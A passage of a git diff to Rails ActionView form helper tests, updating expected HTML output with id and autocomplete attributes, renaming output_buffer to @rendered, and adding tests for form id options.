-          assert_equal cf.index, expected
+          assert_equal expected, cf.index
           expected += 1
         }
       end
@@ -1650,7 +1916,7 @@ def test_nested_fields_index_method_with_existing_and_new_records_on_a_nested_at
       expected = 0
       @post.comments.each do |comment|
         f.fields(:comments, model: comment) { |cf|
-          assert_equal cf.index, expected
+          assert_equal expected, cf.index
           expected += 1
         }
       end
@@ -1663,7 +1929,7 @@ def test_nested_fields_index_method_with_existing_records_on_a_supplied_nested_a
     form_with(model: @post) do |f|
       expected = 0
       f.fields(:comments, model: @post.comments) { |cf|
-        assert_equal cf.index, expected
+        assert_equal expected, cf.index
         expected += 1
       }
     end
@@ -1674,7 +1940,7 @@ def test_nested_fields_index_method_with_child_index_option_override_on_a_nested
 
     form_with(model: @post) do |f|
       f.fields(:comments, model: Comment.new(321), child_index: "abc") { |cf|
-        assert_equal cf.index, "abc"
+        assert_equal "abc", cf.index
       }
     end
   end
@@ -1708,21 +1974,21 @@ def test_nested_fields_uses_unique_indices_for_different_collection_associations
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
-      '<input name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' \
-      '<input name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
-      '<input name="post[tags_attributes][0][value]" type="text" value="tag #123" />' \
-      '<input name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' \
-      '<input name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' \
-      '<input name="post[tags_attributes][0][id]" type="hidden" value="123" />' \
-      '<input name="post[tags_attributes][1][value]" type="text" value="tag #456" />' \
-      '<input name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' \
-      '<input name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' \
-      '<input name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" id="post_comments_attributes_0_relevances_attributes_0_value" />' \
+      '<input name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" id="post_comments_attributes_0_relevances_attributes_0_id" autocomplete="off"/>' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" id="post_comments_attributes_0_id" autocomplete="off"/>' \
+      '<input name="post[tags_attributes][0][value]" type="text" value="tag #123" id="post_tags_attributes_0_value"/>' \
+      '<input name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" id="post_tags_attributes_0_relevances_attributes_0_value"/>' \
+      '<input name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" id="post_tags_attributes_0_relevances_attributes_0_id" autocomplete="off"/>' \
+      '<input name="post[tags_attributes][0][id]" type="hidden" value="123" id="post_tags_attributes_0_id" autocomplete="off"/>' \
+      '<input name="post[tags_attributes][1][value]" type="text" value="tag #456" id="post_tags_attributes_1_value"/>' \
+      '<input name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" id="post_tags_attributes_1_relevances_attributes_0_value"/>' \
+      '<input name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" id="post_tags_attributes_1_relevances_attributes_0_id" autocomplete="off"/>' \
+      '<input name="post[tags_attributes][1][id]" type="hidden" value="456" id="post_tags_attributes_1_id" autocomplete="off"/>'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_hash_like_model
@@ -1735,128 +2001,154 @@ def test_nested_fields_with_hash_like_model
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[author_attributes][name]" type="text" value="hash backed author" />'
+      '<input name="post[author_attributes][name]" type="text" value="hash backed author" id="post_author_attributes_name" />'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_nested_fields_with_hash_with_indifferent_access_like_model
+    @author = HashWithIndifferentAccessBackedAuthor.new
+
+    form_with(model: @post) do |f|
+      concat f.fields(:author, model: @author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[author_attributes][name]" type="text" value="hash backed author" id="post_author_attributes_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields
-    output_buffer = fields(:post, model: @post) do |f|
+    @rendered = fields(:post, model: @post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_index
-    output_buffer = fields("post[]", model: @post) do |f|
+    @rendered = fields("post[]", model: @post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<input name='post[123][title]' type='text' value='Hello World' />" \
-      "<textarea name='post[123][body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[123][secret]' type='hidden' value='0' />" \
-      "<input name='post[123][secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[123][title]' type='text' value='Hello World' id='post_123_title' />" \
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[123][secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[123][secret]' checked='checked' type='checkbox' value='1' id='post_123_secret' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_nil_index_option_override
-    output_buffer = fields("post[]", model: @post, index: nil) do |f|
+    @rendered = fields("post[]", model: @post, index: nil) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<input name='post[][title]' type='text' value='Hello World' />" \
-      "<textarea name='post[][body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[][secret]' type='hidden' value='0' />" \
-      "<input name='post[][secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[][title]' type='text' value='Hello World' id='post__title' />" \
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[][secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[][secret]' checked='checked' type='checkbox' value='1' id='post__secret' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_index_option_override
-    output_buffer = fields("post[]", model: @post, index: "abc") do |f|
+    @rendered = fields("post[]", model: @post, index: "abc") do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<input name='post[abc][title]' type='text' value='Hello World' />" \
-      "<textarea name='post[abc][body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[abc][secret]' type='hidden' value='0' />" \
-      "<input name='post[abc][secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[abc][title]' type='text' value='Hello World' id='post_abc_title' />" \
+      "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[abc][secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[abc][secret]' checked='checked' type='checkbox' value='1' id='post_abc_secret' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_without_object
-    output_buffer = fields(:post) do |f|
+    @rendered = fields(:post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_only_object
-    output_buffer = fields(model: @post) do |f|
+    @rendered = fields(model: @post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_fields_with_only_object_array
+    @rendered = fields(model: [@post, @comment]) do |f|
+      concat f.text_field(:name)
+    end
+
+    expected = %(<input type="text" value="new comment" name="comment[name]" id="comment_name" />)
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_object_with_bracketed_name
-    output_buffer = fields("author[post]", model: @post) do |f|
+    @rendered = fields("author[post]", model: @post) do |f|
       concat f.label(:title)
       concat f.text_field(:title)
     end
 
     assert_dom_equal "<label for=\"author_post_title\">Title</label>" \
-    "<input name='author[post][title]' type='text' value='Hello World' />",
-      output_buffer
+    "<input name='author[post][title]' type='text' value='Hello World' id='author_post_title' id='author_post_1_title' />",
+      @rendered
   end
 
   def test_fields_object_with_bracketed_name_and_index
-    output_buffer = fields("author[post]", model: @post, index: 1) do |f|
+    @rendered = fields("author[post]", model: @post, index: 1) do |f|
       concat f.label(:title)
       concat f.text_field(:title)
     end
 
     assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" \
-      "<input name='author[post][1][title]' type='text' value='Hello World' />",
-      output_buffer
+      "<input name='author[post][1][title]' type='text' value='Hello World' id='author_post_1_title' />",
+      @rendered
   end
 
   def test_form_builder_does_not_have_form_with_method
@@ -1866,27 +2158,27 @@ def test_form_builder_does_not_have_form_with_method
   def test_form_with_and_fields
     form_with(model: @post, scope: :post, id: "create-post") do |post_form|
       concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
+      concat post_form.textarea(:body)
 
       concat fields(:parent_post, model: @post) { |parent_fields|
-        concat parent_fields.check_box(:secret)
+        concat parent_fields.checkbox(:secret)
       }
     end
 
     expected = whole_form("/posts/123", "create-post", method: "patch") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='parent_post[secret]' type='hidden' value='0' />" \
-      "<input name='parent_post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='parent_post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='parent_post[secret]' checked='checked' type='checkbox' value='1' id='parent_post_secret' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_and_fields_with_object
     form_with(model: @post, scope: :post, id: "create-post") do |post_form|
       concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
+      concat post_form.textarea(:body)
 
       concat post_form.fields(model: @comment) { |comment_fields|
         concat comment_fields.text_field(:name)
@@ -1894,12 +2186,12 @@ def test_form_with_and_fields_with_object
     end
 
     expected = whole_form("/posts/123", "create-post", method: "patch") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[comment][name]' type='text' value='new comment' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[comment][name]' type='text' value='new comment' id='post_comment_name' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_and_fields_with_non_nested_association_and_without_object
@@ -1910,10 +2202,10 @@ def test_form_with_and_fields_with_non_nested_association_and_without_object
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[category][name]' type='text' />"
+      "<input name='post[category][name]' type='text' id='post_category_name' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   class LabelledFormBuilder < ActionView::Helpers::FormBuilder
@@ -1924,22 +2216,23 @@ def #{selector}(field, *args, &proc)
         end
       RUBY_EVAL
     end
+    ruby2_keywords(:fields)
   end
 
   def test_form_with_with_labelled_builder
     form_with(model: @post, builder: LabelledFormBuilder) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>" \
-      "<label for='body'>Body:</label> <textarea name='post[body]'>\nBack to the hill and over it again!</textarea><br/>" \
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' value='1' /><br/>"
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' id='post_title'/><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' autocomplete='off' /><input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' /><br/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_default_form_builder
@@ -1948,17 +2241,17 @@ def test_default_form_builder
 
     form_with(model: @post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>" \
-      "<label for='body'>Body:</label> <textarea name='post[body]'>\nBack to the hill and over it again!</textarea><br/>" \
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' value='1' /><br/>"
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' id='post_title' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' autocomplete='off' /><input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' /><br/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   ensure
     ActionView::Base.default_form_builder = old_default_form_builder
   end
@@ -1972,10 +2265,10 @@ def test_lazy_loading_default_form_builder
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>"
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' id='post_title' /><br/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   ensure
     ActionView::Base.default_form_builder = old_default_form_builder
   end
@@ -1983,40 +2276,40 @@ def test_lazy_loading_default_form_builder
   def test_form_builder_override
     self.default_form_builder = LabelledFormBuilder
 
-    output_buffer = fields(:post, model: @post) do |f|
+    @rendered = fields(:post, model: @post) do |f|
       concat f.text_field(:title)
     end
 
-    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>"
+    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' id='post_title' /><br/>"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_lazy_loading_form_builder_override
     self.default_form_builder = "FormWithActsLikeFormForTest::LabelledFormBuilder"
 
-    output_buffer = fields(:post, model: @post) do |f|
+    @rendered = fields(:post, model: @post) do |f|
       concat f.text_field(:title)
     end
 
-    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>"
+    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' id='post_title' /><br/>"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_labelled_builder
-    output_buffer = fields(:post, model: @post, builder: LabelledFormBuilder) do |f|
+    @rendered = fields(:post, model: @post, builder: LabelledFormBuilder) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
-      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>" \
-      "<label for='body'>Body:</label> <textarea name='post[body]'>\nBack to the hill and over it again!</textarea><br/>" \
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' value='1' /><br/>"
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' id='post_title'/><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' autocomplete='off' /><input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' /><br/>"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_labelled_builder_with_nested_fields_without_options_hash
@@ -2075,13 +2368,13 @@ def test_form_with_with_html_options_adds_options_to_form_tag
     form_with(model: @post, html: { id: "some_form", class: "some_class", multipart: true }) do |f| end
     expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_string_url_option
     form_with(model: @post, url: "http://www.otherdomain.com") do |f| end
 
-    assert_dom_equal whole_form("http://www.otherdomain.com", method: "patch"), output_buffer
+    assert_dom_equal whole_form("http://www.otherdomain.com", method: "patch"), @rendered
   end
 
   def test_form_with_with_hash_url_option
@@ -2095,14 +2388,14 @@ def test_form_with_with_record_url_option
     form_with(model: @post, url: @post) do |f| end
 
     expected = whole_form("/posts/123", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_existing_object
     form_with(model: @post) do |f| end
 
     expected = whole_form("/posts/123", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_new_object
@@ -2110,59 +2403,59 @@ def test_form_with_with_new_object
     post.persisted = false
     def post.to_key; nil; end
 
-    form_with(model: post) {}
+    form_with(model: post) { }
 
     expected = whole_form("/posts")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_existing_object_in_list
     @comment.save
-    form_with(model: [@post, @comment]) {}
+    form_with(model: [@post, @comment]) { }
 
     expected = whole_form(post_comment_path(@post, @comment), method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_new_object_in_list
-    form_with(model: [@post, @comment]) {}
+    form_with(model: [@post, @comment]) { }
 
     expected = whole_form(post_comments_path(@post))
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_existing_object_and_namespace_in_list
     @comment.save
-    form_with(model: [:admin, @post, @comment]) {}
+    form_with(model: [:admin, @post, @comment]) { }
 
     expected = whole_form(admin_post_comment_path(@post, @comment), method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_new_object_and_namespace_in_list
-    form_with(model: [:admin, @post, @comment]) {}
+    form_with(model: [:admin, @post, @comment]) { }
 
     expected = whole_form(admin_post_comments_path(@post))
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_existing_object_and_custom_url
     form_with(model: @post, url: "/super_posts") do |f| end
 
     expected = whole_form("/super_posts", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_default_method_as_patch
-    form_with(model: @post) {}
+    form_with(model: @post) { }
     expected = whole_form("/posts/123", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_data_attributes
-    form_with(model: @post, data: { behavior: "stuff" }) {}
-    assert_match %r|data-behavior="stuff"|, output_buffer
-    assert_match %r|data-remote="true"|, output_buffer
+    form_with(model: @post, data: { behavior: "stuff" }) { }
+    assert_match %r|data-behavior="stuff"|, @rendered
+    assert_match %r|data-remote="true"|, @rendered
   end
 
   def test_fields_returns_block_result
@@ -2179,29 +2472,65 @@ def test_form_with_only_instantiates_builder_once
       end
     end
 
-    form_with(model: @post, builder: builder_class) {}
+    form_with(model: @post, builder: builder_class) { }
     assert_equal 1, initialization_count, "form builder instantiated more than once"
   end
 
+  def test_form_with_with_id_option
+    form_with(model: Post.new, id: "new_special_post") do |form|
+      concat form.button(form: form.id)
+    end
+
+    expected = whole_form("/posts", "new_special_post") do
+      '<button name="button" type="submit" form="new_special_post">Create Post</button>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_with_id_option_nested_in_html
+    form_with(model: Post.new, html: { id: "new_special_post" }) do |form|
+      concat form.button(form: form.id)
+    end
+
+    expected = whole_form("/posts", "new_special_post") do
+      '<button name="button" type="submit" form="new_special_post">Create Post</button>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_with_competing_id_option_nested_in_html
+    form_with(model: Post.new, id: "ignored", html: { id: "new_special_post" }) do |form|
+      concat form.button(form: form.id)
+    end
+
+    expected = whole_form("/posts", "new_special_post") do
+      '<button name="button" type="submit" form="new_special_post">Create Post</button>'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
   private
     def hidden_fields(options = {})
       method = options[:method]
 
       if options.fetch(:skip_enforcing_utf8, false)
-        txt = ""
+        txt = +""
       else
-        txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+        txt = +%{<input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" />}
       end
 
       if method && !%w(get post).include?(method.to_s)
-        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+        txt << %{<input name="_method" type="hidden" value="#{method}" autocomplete="off" />}
       end
 
       txt
     end
 
     def form_text(action = "/", id = nil, html_class = nil, local = nil, multipart = nil, method = nil)
-      txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+      txt =  +%{<form accept-charset="UTF-8"} + (action ? %{ action="#{action}"} : "")
       txt << %{ enctype="multipart/form-data"} if multipart
       txt << %{ data-remote="true"} unless local
       txt << %{ class="#{html_class}"} if html_class
@@ -2221,11 +2550,4 @@ def whole_form(action = "/", id = nil, html_class = nil, local: false, **options
     def protect_against_forgery?
       false
     end
-
-    def with_locale(testing_locale = :label)
-      old_locale, I18n.locale = I18n.locale, testing_locale
-      yield
-    ensure
-      I18n.locale = old_locale
-    end
 end
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
index 490df5e4d9675..0f3f420cc15c2 100644
--- a/actionview/test/template/form_helper_test.rb
+++ b/actionview/test/template/form_helper_test.rb
@@ -1,13 +1,27 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
 
+require "active_support/core_ext/object/with"
+
 class FormHelperTest < ActionView::TestCase
   include RenderERBUtils
 
   tests ActionView::Helpers::FormHelper
 
+  class WithActiveStorageRoutesControllers < ActionController::Base
+    test_routes do
+      post "/rails/active_storage/direct_uploads" => "active_storage/direct_uploads#create", as: :rails_direct_uploads
+    end
+
+    def url_options
+      { host: "testtwo.host" }
+    end
+  end
+
   def form_for(*)
-    @output_buffer = super
+    @rendered = super
   end
 
   teardown do
@@ -56,6 +70,9 @@ def form_for(*)
           submit: "Save changes",
           another_post: {
             update: "Update your %{model}"
+          },
+          "blog/post": {
+            update: "Update your %{model}"
           }
         }
       }
@@ -93,7 +110,7 @@ def form_for(*)
 
     @post = Post.new
     @comment = Comment.new
-    def @post.errors()
+    def @post.errors
       Class.new {
         def [](field); field == "author_name" ? ["can't be empty"] : [] end
         def empty?() false end
@@ -125,8 +142,10 @@ def @post.to_param; "123"; end
     @post_delegator.title = "Hello World"
 
     @car = Car.new("#000FFF")
+    @controller.singleton_class.include Routes.url_helpers
   end
 
+  RecordForm = Struct.new(:to_model, keyword_init: true)
   Routes = ActionDispatch::Routing::RouteSet.new
   Routes.draw do
     resources :posts do
@@ -139,6 +158,10 @@ def @post.to_param; "123"; end
       end
     end
 
+    namespace(:cpk) do
+      resources(:books)
+    end
+
     get "/foo", to: "controller#action"
     root to: "main#index"
   end
@@ -153,7 +176,8 @@ def url_for(object)
     @url_for_options = object
 
     if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
-      object.merge!(controller: "main", action: "index")
+      object[:controller] = "main"
+      object[:action] = "index"
     end
 
     super
@@ -186,31 +210,31 @@ def test_label_with_symbols
   end
 
   def test_label_with_locales_strings
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
     end
   end
 
   def test_label_with_human_attribute_name
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
     end
   end
 
   def test_label_with_human_attribute_name_and_options
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal('<label for="post_language_spanish">Espanol</label>', label(:post, :language, value: "spanish"))
     end
   end
 
   def test_label_with_locales_symbols
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
     end
   end
 
   def test_label_with_locales_and_options
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal(
         '<label for="post_body" class="post_body">Write entire text here</label>',
         label(:post, :body, class: "post_body")
@@ -219,13 +243,13 @@ def test_label_with_locales_and_options
   end
 
   def test_label_with_locales_and_value
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
     end
   end
 
   def test_label_with_locales_and_nested_attributes
-    with_locale :label do
+    I18n.with_locale :label do
       form_for(@post, html: { id: "create-post" }) do |f|
         f.fields_for(:comments) do |cf|
           concat cf.label(:body)
@@ -236,12 +260,12 @@ def test_label_with_locales_and_nested_attributes
         '<label for="post_comments_attributes_0_body">Write body here</label>'
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
   def test_label_with_locales_fallback_and_nested_attributes
-    with_locale :label do
+    I18n.with_locale :label do
       form_for(@post, html: { id: "create-post" }) do |f|
         f.fields_for(:tags) do |cf|
           concat cf.label(:value)
@@ -252,20 +276,20 @@ def test_label_with_locales_fallback_and_nested_attributes
         '<label for="post_tags_attributes_0_value">Tag</label>'
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
   def test_label_with_non_active_record_object
-    form_for(OpenStruct.new(name: "ok"), as: "person", url: "an_url", html: { id: "create-person" }) do |f|
+    form_for(Struct.new(:name).new("ok"), as: "person", url: "/an", html: { id: "create-person" }) do |f|
       f.label(:name)
     end
 
-    expected = whole_form("an_url", "create-person", "new_person", method: "post") do
+    expected = whole_form("/an", "create-person", "new_person", method: "post") do
       '<label for="person_name">Name</label>'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_label_with_for_attribute_as_symbol
@@ -341,7 +365,7 @@ def test_label_with_block_and_options
   end
 
   def test_label_with_block_and_builder
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal(
         '<label for="post_body"><b>Write entire text here</b></label>',
         label(:post, :body) { |b| raw("<b>#{b.translation}</b>") }
@@ -364,7 +388,7 @@ def test_label_with_to_model
   end
 
   def test_label_with_to_model_and_overridden_model_name
-    with_locale :label do
+    I18n.with_locale :label do
       assert_dom_equal(
         %{<label for="post_delegator_title">Delegate model_name title</label>},
